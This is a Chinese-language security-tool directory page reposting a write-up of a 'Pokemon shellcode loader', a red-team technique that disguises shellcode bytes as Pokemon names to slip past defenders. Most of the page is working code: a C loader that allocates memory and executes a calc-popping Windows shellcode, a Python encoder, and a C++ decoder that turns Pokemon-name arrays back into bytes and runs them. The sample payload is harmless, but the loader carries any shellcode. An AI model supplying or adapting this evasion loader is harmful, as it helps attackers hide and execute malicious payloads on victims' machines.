Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Pokemon-Shellcode-Loader — 厌倦了整天盯着十六进制和弹出'\x41'?宁愿看看洛奇亚/小火龙?我有解决方案给你。 | Kitploit
工具/GitHubGitHub/techryptic/pokemon-shellcode-loader
Payload生成Shellcode红队Shellcode 生成Payload 开发对抗性攻击
GitHubtechryptic/pokemon-shellcode-loader

Pokemon-Shellcode-Loader

厌倦了整天盯着十六进制和弹出'\x41'?宁愿看看洛奇亚/小火龙?我有解决方案给你。

查看仓库
12814404年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

宝可梦 Shellcode Loader

厌倦了整天盯着十六进制,还时不时弹出一堆 '\x41'?更想看洛奇亚/小火龙?我为你找到了解决方案。@Checkymander 发推提到用宝可梦名字来创建 shellcode 加载器。这是一个用来和蓝队斗智斗勇的趣味项目,但当时还没有 PoC!(至少在我上次查看时还没有)

注意 #1 更新后的代码会放在我的 GitHub 上:https://github.com/Techryptic/Pokemon-Shellcode-Loader

注意 #2 GitBooks:https://techryptic.gitbook.io/pokemon-shellcode

注意 #3 GitPages:https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader

让我们加载一些指令

实现方式有多种: 如果查看一段 shellcode,它其实就是一串从 0x00 到 0xFF 的十六进制数,换算成十进制就是 0 到 256。而可供选择的宝可梦恰好远不止 256 只。

从上面的宝可梦图可以看出,我们可以把 #001 的 BULBASAUR 转换为 0x01(去掉开头的零)。同样,CHARMANDER 将用 0x04 表示,依此类推。而幸运的空字节 0x00 可以对应到第 257 号宝可梦 BLAZIKEN!

把 shellcode 转换成宝可梦-Shellcode 很简单。那反过来,把宝可梦-Shellcode 转换成汇编呢?!我们是想要一个放在 .ASM 内部的数组?用 C 代码?还是从外部拉取?

可以探索的方向有很多!

数组,还是不用数组

我们需要数据。首先,我找到了两个同时包含宝可梦编号和名字的地方:

https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6

另一个地方只包含宝可梦的名字。这可能更有用,因为我们可以直接通过数组索引位置找到某个宝可梦,而不必带上冗长的字符串。

https://github.com/sindresorhus/pokemon/blob/main/data/en.json

基线是什么?

我拿了一段常规的 POP CALC shellcode,然后用一些 C 代码来处理它。

root@kitploit:~
#include <windows.h>

void main() {
    void* exec;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    // Shellcode
    unsigned char payload[] =
		"\x50\x53\x51\x52\x56\x57\x55\x89"
		"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
		"\x63\x66\x68\x78\x65\x68\x57\x69"
		"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
		"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
		"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
		"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
		"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
		"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
		"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
		"\x50\x1c\x01\xda\x89\x55\xec\x8b"
		"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
		"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
		"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
		"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
		"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
		"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
		"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
		"\x31\xd2\x52\x68\x2e\x65\x78\x65"
		"\x68\x63\x61\x6c\x63\x68\x6d\x33"
		"\x32\x5c\x68\x79\x73\x74\x65\x68"
		"\x77\x73\x5c\x53\x68\x69\x6e\x64"
		"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
		"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
		"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
    unsigned int payload_len = 205;
    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(exec, payload, payload_len);
    rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
    WaitForSingleObject(th, -1);
}

还不错。它不会做什么恶意操作,但……确实不错。

Shellcode -> Pokemon_Shellcode

一个简单的脚本可以把 shellcode 字节对象转换为宝可梦 Shellcode。

root@kitploit:~
import json

shellcode = (b"\x41\x42\x20\x43")

#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
	Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))

以上面的 shellcode 为例:

\x00\x31\xc0\x50\x68\x2f\x2F

转换为:

趣味事实:我希望宝可梦的名字与其编号对齐(BULBASAUR = #1,即 0x01),因此需要用某个东西来填充 0x00/空字节。还有什么比 MISSINGNO 更合适的呢?!

另一个问题是,宝可梦 Farfetch'd 的名字里有撇号,如下图所示。简单的修复方法是直接去掉撇号,叫它 Farfetchd。

最后,还有两只宝可梦在去掉符号后重名,修复方法是对其中一只追加 F(代表雌性),对另一只追加 M(代表雄性)。

C++ 函数

root@kitploit:~
#include <iostream>
#include <string>
#include <Bits.h>
using namespace std;

// Created by: Techryptic
// @Tech

string indexNumberToHexa(int number);
void reverse_String(string& str, int last_index, int starting_index);
void printAscii(unsigned char* index_to_hexa_array, int counter_s);

int main()
{
    string poke_shellcode[] = { "Slowbro", "Farfetchd", "Magnemite", "Magneton", "Seel", "Dewgong", "Dodrio", "Porygon", "Houndoom", "Lapras", "Tyrogue", "Arbok", "Venomoth", "Larvitar", "Seel", "Hitmonlee", "Kingler", "Exeggcute", "Cubone", "Staryu", "Electrode", "Cubone", "Dewgong", "Marowak", "Weezing", "Bellsprout", "Porygon", "Electrode", "Treecko", "Venomoth", "Larvitar", "Voltorb", "Omastar", "Gengar", "Venonat", "Omastar", "Cloyster", "Butterfree", "Omastar", "Cloyster", "Raticate", "Omastar", "Sandshrew", "Omastar", "Sandshrew", "Omastar", "Cloyster", "Pidgey", "Porygon", "Haunter", "Tyranitar", "Venomoth", "Sunflora", "Omastar", "Machoke", "Poliwag", "Bulbasaur", "Teddiursa", "Omastar", "Kadabra", "Staryu", "Bulbasaur", "Teddiursa", "Omastar", "Tentacool", "Clefable", "Bulbasaur", "Ursaring", "Porygon", "Ponyta", "Entei", "Omastar", "Staryu", "NidoranM", "Bulbasaur", "Remoraid", "Porygon", "Electabuzz", "Magby", "Omastar", "Slowbro", "Sandslash", "Bulbasaur", "Slugma", "Porygon", "Dodrio", "Tyrogue", "Omastar", "Grimer", "Raticate", "Venomoth", "Sunflora", "Omastar", "Dodrio", "Tyranitar", "Omastar", "Electabuzz", "Magby", "Omastar", "Seadra", "Treecko", "Venomoth", "Unown", "Treecko", "Omastar", "Poliwag", "Jolteon", "Bulbasaur", "Sneasel", "Exeggcute", "Lapras", "Yanma", "Wartortle", "Raikou", "Ledian", "Horsea", "Caterpie", "Kadabra", "Primeape", "Teddiursa", "Tangela", "Houndoom", "Lapras", "Espeon", "Ninetales", "Smeargle", "Alakazam", "Omastar", "Ponyta", "Entei", "Porygon", "Qwilfish", "Omastar", "Dodrio", "Tyrogue", "Exeggcute", "Omastar", "Charmander", "Alakazam", "Omastar", "Charmander", "Gyarados", "Bulbasaur", "Teddiursa", "Venomoth", "Granbull", "Magneton", "Cubone", "Paras", "Electrode", "Staryu", "Electrode", "Cubone", "Kingler", "Hypno", "Lickitung", "Kingler", "Cubone", "Koffing", "Dugtrio", "Diglett", "Gastly", "Cubone", "Starmie", "Kangaskhan", "Horsea", "Electrode", "Cubone", "Seaking", "Kangaskhan", "Gastly", "Farfetchd", "Cubone", "Marowak", "Weezing", "Voltorb", "Rhyhorn", "Cubone", "Machoke", "Growlithe", "Gastly", "Dewgong", "Porygon", "Kingdra", "Hitmonlee", "Caterpie", "Seel", "Torchic", "Steelix", "Lapras", "Espeon", "Weepinbell", "Haunter", "Onix", "Gengar", "Shellder", "Muk", "Cloyster", "Grimer", "Quagsire" };

    /// Do not edit below
    string pokemon[256] = { "Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod", "Butterfree", "Weedle", "Kakuna", "Beedrill", "Pidgey", "Pidgeotto", "Pidgeot", "Rattata", "Raticate", "Spearow", "Fearow", "Ekans", "Arbok", "Pikachu", "Raichu", "Sandshrew", "Sandslash", "NidoranF", "Nidorina", "Nidoqueen", "NidoranM", "Nidorino", "Nidoking", "Clefairy", "Clefable", "Vulpix", "Ninetales", "Jigglypuff", "Wigglytuff", "Zubat", "Golbat", "Oddish", "Gloom", "Vileplume", "Paras", "Parasect", "Venonat", "Venomoth", "Diglett", "Dugtrio", "Meowth", "Persian", "Psyduck", "Golduck", "Mankey", "Primeape", "Growlithe", "Arcanine", "Poliwag", "Poliwhirl", "Poliwrath", "Abra", "Kadabra", "Alakazam", "Machop", "Machoke", "Machamp", "Bellsprout", "Weepinbell", "Victreebel", "Tentacool", "Tentacruel", "Geodude", "Graveler", "Golem", "Ponyta", "Rapidash", "Slowpoke", "Slowbro", "Magnemite", "Magneton", "Farfetchd", "Doduo", "Dodrio", "Seel", "Dewgong", "Grimer", "Muk", "Shellder", "Cloyster", "Gastly", "Haunter", "Gengar", "Onix", "Drowzee", "Hypno", "Krabby", "Kingler", "Voltorb", "Electrode", "Exeggcute", "Exeggutor", "Cubone", "Marowak", "Hitmonlee", "Hitmonchan", "Lickitung", "Koffing", "Weezing", "Rhyhorn", "Rhydon", "Chansey", "Tangela", "Kangaskhan", "Horsea", "Seadra", "Goldeen", "Seaking", "Staryu", "Starmie", "Mr. Mime", "Scyther", "Jynx", "Electabuzz", "Magmar", "Pinsir", "Tauros", "Magikarp", "Gyarados", "Lapras", "Ditto", "Eevee", "Vaporeon", "Jolteon", "Flareon", "Porygon", "Omanyte", "Omastar", "Kabuto", "Kabutops", "Aerodactyl", "Snorlax", "Articuno", "Zapdos", "Moltres", "Dratini", "Dragonair", "Dragonite", "Mewtwo", "Mew", "Chikorita", "Bayleef", "Meganium", "Cyndaquil", "Quilava", "Typhlosion", "Totodile", "Croconaw", "Feraligatr", "Sentret", "Furret", "Hoothoot", "Noctowl", "Ledyba", "Ledian", "Spinarak", "Ariados", "Crobat", "Chinchou", "Lanturn", "Pichu", "Cleffa", "Igglybuff", "Togepi", "Togetic", "Natu", "Xatu", "Mareep", "Flaaffy", "Ampharos", "Bellossom", "Marill", "Azumarill", "Sudowoodo", "Politoed", "Hoppip", "Skiploom", "Jumpluff", "Aipom", "Sunkern", "Sunflora", "Yanma", "Wooper", "Quagsire", "Espeon", "Umbreon", "Murkrow", "Slowking", "Misdreavus", "Unown", "Wobbuffet", "Girafarig", "Pineco", "Forretress", "Dunsparce", "Gligar", "Steelix", "Snubbull", "Granbull", "Qwilfish", "Scizor", "Shuckle", "Heracross", "Sneasel", "Teddiursa", "Ursaring", "Slugma", "Magcargo", "Swinub", "Piloswine", "Corsola", "Remoraid", "Octillery", "Delibird", "Mantine", "Skarmory", "Houndour", "Houndoom", "Kingdra", "Phanpy", "Donphan", "Porygon2", "Stantler", "Smeargle", "Tyrogue", "Hitmontop", "Smoochum", "Elekid", "Magby", "Miltank", "Blissey", "Raikou", "Entei", "Suicune", "Larvitar", "Pupitar", "Tyranitar", "Lugia", "Ho-Oh", "Celebi", "Treecko", "Grovyle", "Sceptile", "Torchic" };

    int size1 = sizeof(pokemon) / sizeof(pokemon[0]);
    int size2 = sizeof(poke_shellcode) / sizeof(poke_shellcode[0]);
    //creating a dynamic array for holding indexes having size=siez of poke_shellcode considering the
    //assumtion that all poke_shellcode elements exist in pokemon
    int* index = new int[size2];
    int index_counter = 0;
    for (int i = 0; i < size2; i++) {                           //reading poke_shellcode element one by one
        for (int j = 0; j < size1; j++) {                       //reading pokemon element one by one
            if (poke_shellcode[i].compare(pokemon[j]) == 0) {   //both strings are equal
                index[index_counter] = j;                       //saving index
                index_counter++;
                break;                                          //stoping inner loop
            }
        }
    }
    //for storing hex values of indexes
    unsigned char* index_to_hexa_array = new unsigned char[index_counter * 5];
    int counter_s = 0;
    for (int i = 0; i < index_counter; i++) {
        string value = "";
        value += "\\x";
        if (index[i] < 10) {
            value += "0";
        }
        value += indexNumberToHexa(index[i]);  //converting each index to hexa and inserting in array
        for (int k = 0; k < (int)value.length(); k++) {
            index_to_hexa_array[counter_s] = value[k];
            counter_s++;
        }
    }
    std::string payload;
    index_to_hexa_array[counter_s] = '\0';
    printAscii(index_to_hexa_array, counter_s);

    delete[]index; //freeing memory
    delete[]index_to_hexa_array;
    index = nullptr;  //reseting the index pointer
    index_to_hexa_array = nullptr;
    return 0;
}

void reverse_String(string& str, int last_index, int starting_index) {
    if (last_index <= starting_index) { return; }
    swap(str[starting_index], str[last_index]);
    reverse_String(str, last_index - 1, starting_index + 1);
}
string indexNumberToHexa(int number) {
    string hexavalue = "";
    while (number != 0) {
        int remainder = number % 16;
        if (remainder < 10) {   //number 0-9
            hexavalue += remainder + 48;
        }
        else {//alphabet A-F
            hexavalue += remainder + 55; //converting number to alphabet
        }
        number = number / 16;
    }
    reverse_String(hexavalue, hexavalue.length() - 1, 0);
    return (hexavalue != "" ? hexavalue : "0");
}
void printAscii(unsigned char* index_to_hexa_array, int counter_s) {
    string sc;
    for (int i = 2; i < counter_s; i++) {
        if (index_to_hexa_array[i] != '\\' && index_to_hexa_array[i] != 'x') {//hex value cannot be more than 2 characters
            string vt; // hex ex: 01
            vt.push_back(index_to_hexa_array[i]);
            vt.push_back(index_to_hexa_array[i + 1]);
            //cout << (char)stoul(vt, nullptr, 16);
            unsigned char n = (char)stoul(vt, nullptr, 16);
            sc += n;
            i++;
        }
    }
    sc += '\0'; // adding nullbyte to string to mimic array
    //std::cout << "The size is " << sc.size() << " bytes.\n";
    DWORD oldprotect = 0;
    void* exec = VirtualAlloc(0, sc.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, sc.c_str(), sc.size());
    ((void(*)())exec)();
}

结论

这,就是结论。 同一份代码换成宝可梦之后,效果比我想象的要好得多。

到头来,这依然是 Red 与 Blue 之间的对决。

下载工具